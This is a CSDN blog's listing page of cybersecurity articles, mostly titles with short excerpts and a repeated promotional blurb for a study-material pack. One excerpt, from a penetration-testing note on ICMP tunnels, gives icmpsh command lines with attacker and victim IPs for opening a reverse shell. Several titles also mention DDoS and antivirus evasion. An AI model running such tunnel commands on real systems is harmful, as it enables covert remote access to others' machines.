普通网友-CSDN博客

原创 Mac安装Kali保姆级教程

进入安装页面，按住即可将鼠标从VM Fusion中释放出来如果发现VM Fusion出现如下页面：查看是否是自己的iso镜像下载错误，如果是mac，则kali的iso文件应该为arm，而非amd64。

2024-05-17 03:11:25 212

原创 JWT重放漏洞如何攻防？你的系统安全吗？_jwt防止重放攻击

自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！

2024-05-17 02:11:35 423

原创 Go-RSA加密解密详解与代码_go rsa

W.Diffie和Hellman发表了著名的文章《密码学的新方向》首次提出了公钥密码算法的思想。公钥密码体制为密码学的发展提供了新的理论和技术思想，一方面公钥密码算法是建立在数学函数基础上的，而不是建立在字符或位方式的操作上的；另一方面公钥密码算法是以非对称的形式使用加密密钥和解密密钥，这两个密钥的使用对密钥管理、认证等都有着深刻的实际意义。可以说，公钥密码体制的出现在密码学发展史上是一次质的飞跃。1978年，Rivest,Shamir和A。

2024-05-16 16:21:29 400

原创 CTF逆向Reverse入门学习路线（面向小白）_逆向reverse 思路

ollydbg，简称OD已经蛮久没有更新了，而且OD主要支持32位的PE文件调试和分析；所以这里我比较推荐使用Xdbg，Xdbg经常更新，还有自动中文汉化。x64dbg顺便讲下简单使用：随便拖入一个可执行文件，这可以看到四个窗口；左上角的反汇编窗口，这里显示是我们要分析的程序的反汇编代码：截取一行讲解00007FFA5A3C076A | 55 | push rbp | 看这里！！！

2024-05-16 15:05:44 462

原创 98%的企业与被入侵的第三方有关联，如何有效的防止入侵(1)

自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！

2024-05-16 04:18:20 697

原创 2024年网安最新实战SRC漏洞挖掘全过程，流程详细【网络安全】

自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！

2024-05-16 03:15:40 685

原创 2024人工智能与网络安全国际会议（IACAINS 2024）

自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！

2024-05-16 02:21:28 607

原创最新网络安全（黑客）——自学篇_windows黑客学习资料

在整理好自己的知识框架，知道该怎么学习之后，下一步就是往框架里面填充内容了。此时我们的选择也可以很多，比如CSDN，比如知乎，再比如B站，都有很多人在分享自己的学习资料，但我觉得这里存在的很大一个问题就是不连贯、不完善，大部分免费分享的教程，都是东一块西一块前言不搭后语学着学着就蒙了，这是我自学之后的亲身感受。教程分享给你，里面不仅有web安全，还有渗透测试等等内容，包含电子书面试题pdf文档视频以及相关的课件笔记，我都已经学过了，已关注求都可以免费分享给大家！等不及的小伙伴也可以直接厚台踢我！

2024-05-15 19:05:16 263

原创探索网络攻击：ARP断网、ARP欺骗和DNS欺骗实验解析_arp实现断网

ARP（Address Resolution Protocol）是一种用于在TCP/IP网络中根据IP地址获取物理地址（MAC地址）的协议。在主机发送数据时，需要知道目标设备的物理地址来进行通信。ARP通过发送广播请求并接收返回消息的方式，来确定目标设备的物理地址。同时，收到返回消息后，主机将目标设备的IP地址和物理地址存入本机的ARP缓存表中，并在一定时间内保持有效，这样下次通信时就可以直接查询ARP缓存，节约资源。

2024-05-15 02:59:33 1096

原创打造高效自动化渗透测试系统：关键步骤与实践(1)

自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！

2024-05-14 19:59:32 789

原创容器云平台安全隔离方案详解_云平台中容器安全

自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！

2024-05-14 18:57:12 547

原创如何从0基础毫无经验一步一步进入网络安全行业 _自学it怎么进入网络安全工作(2)

自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！

2024-05-14 10:11:34 255

原创医院网络安全建设：三网整体设计和云数据中心架构设计_医院数据中心逻辑架构

自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！

2024-05-14 04:34:09 860

原创使用kali进行DDos攻击

【代码】使用kali进行DDos攻击。

2024-05-14 03:18:16 402

原创一篇掌握网安所需PHP编程基础(1)

/输出：object(Stu)#2 (3) { ["sex"]=> string(3) "女" ["name":"Stu":private]=> string(6) "小荷" ["age":protected]=> int(17) }//首先会调用\_\_sleep(),之后（根据\_\_sleep()中的return）再序列化，若没有\_\_sleep()或没有return什么属性，则所有参数(name age sex)序列化，unserialize也同理。

2024-05-13 18:00:19 615 1

原创【网络安全01】网络安全引言(网络安全概述、计算机安全、OSI安全体系、网络安全模型)

网络安全是一个跨多门学科的综合性科学，包括：通信技术、网络技术、软硬件设计技术、密码学等；在理论上，网络安全是建立在密码学以及协议设计的基础上的；在技术上，网络安全取决于两个方面：网络设备硬件和软件的安全，以及设备的访问控制；常见“安全因素”物理因素：物理设备的不安全，电磁波泄漏、能源消耗泄漏等；系统因素：系统软、硬件漏洞，病毒感染，入侵；网络因素：网络协议漏洞，会话劫持，网络拥塞，拒绝服务；管理因素：安全意识淡漠，误操作，内部人操作；安全原由自身的缺陷：系统软硬件缺陷，网络协议的缺陷。

2024-05-13 12:13:29 810

原创【渗透测试笔记】之【内网渗透——网络层隧道（icmpsh、PingTunnel的使用：icmp隧道反向shell

python icmpsh_m.py 192.168.8.35（攻击者IP） 192.168.8.18（受害者IP）icmpsh.exe -t 192.168.8.35（攻击者IP） -d 500 -b 30 -s 128。-s：字节最大数据缓冲区大小（以字节为单位）-t：攻击者IP，必选。-d：请求延迟（毫秒）-o：响应超时（毫秒）方式二：官网下载安装。

2024-05-13 11:08:23 183

原创【云原生-K8s】镜像漏洞安全扫描工具Trivy部署及使用(1)

Trivy是一个开源的容器镜像漏洞扫描器，可以扫描常见的操作系统和应用程序依赖项的漏洞。它可以与Docker和Kubernetes集成，帮助用户在构建和部署容器镜像时发现安全漏洞。Trivy支持多种漏洞数据库，包括Red Hat、Debian、Alpine等，可以根据用户的需求进行配置。Trivy还支持CI/CD集成，可以在构建过程中自动扫描镜像并生成报告。

2024-05-13 10:08:37 873

原创 [渗透测试]—7

本章节介绍了社会工程学攻击技术，包括钓鱼、身份欺诈、预言、尾随等。学会识别这些攻击手段并采取相应的防范措施，可以有效提高个人和公司的安全防护能力。自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

2024-05-13 09:09:01 747

2401_84971057的博客

原创 Mac安装Kali保姆级教程

原创 JWT重放漏洞如何攻防？你的系统安全吗？_jwt防止重放攻击

原创 Go-RSA加密解密详解与代码_go rsa

原创 CTF逆向Reverse入门学习路线（面向小白）_逆向reverse 思路

原创 98%的企业与被入侵的第三方有关联，如何有效的防止入侵(1)

原创 2024年网安最新实战SRC漏洞挖掘全过程，流程详细【网络安全】

原创 2024人工智能与网络安全国际会议（IACAINS 2024）

原创最新网络安全（黑客）——自学篇_windows黑客学习资料

原创探索网络攻击：ARP断网、ARP欺骗和DNS欺骗实验解析_arp实现断网

原创打造高效自动化渗透测试系统：关键步骤与实践(1)

原创容器云平台安全隔离方案详解_云平台中容器安全

原创如何从0基础毫无经验一步一步进入网络安全行业 _自学it怎么进入网络安全工作(2)

原创医院网络安全建设：三网整体设计和云数据中心架构设计_医院数据中心逻辑架构

原创使用kali进行DDos攻击

原创一篇掌握网安所需PHP编程基础(1)

原创【网络安全01】网络安全引言(网络安全概述、计算机安全、OSI安全体系、网络安全模型)

原创【渗透测试笔记】之【内网渗透——网络层隧道（icmpsh、PingTunnel的使用：icmp隧道反向shell

原创【云原生-K8s】镜像漏洞安全扫描工具Trivy部署及使用(1)

原创 [渗透测试]—7

原创 WEB网站服务器安全漏洞扫描环境搭建及漏洞工具扫描(1)

原创 SQL注入（一）

原创 Python shellcode免杀无文件落地_文件不落地免杀

原创 Linux系统性能调优实战_linux性能优化实战(3)

原创 k8s学习-CKS真题-Runtime设置gVisor_安装gvisor(2)

原创 Go-ecc数字签名详解与代码

原创 CTFShow web入门文件上传

原创 ActiveMQ任意文件写入漏洞(CVE-2016-3088)(1)

原创 2024年网络安全最全k8s学习-CKS真题-利用AppArmor进行应用行为限制_container，2024年最新2024最新网络安全大厂面试真题大全(1)

原创 2024年Android逆向分析实例(一)-绕过搜狗输入法的签名验证，2024网络安全常见面试题(1)

空空如也

空空如也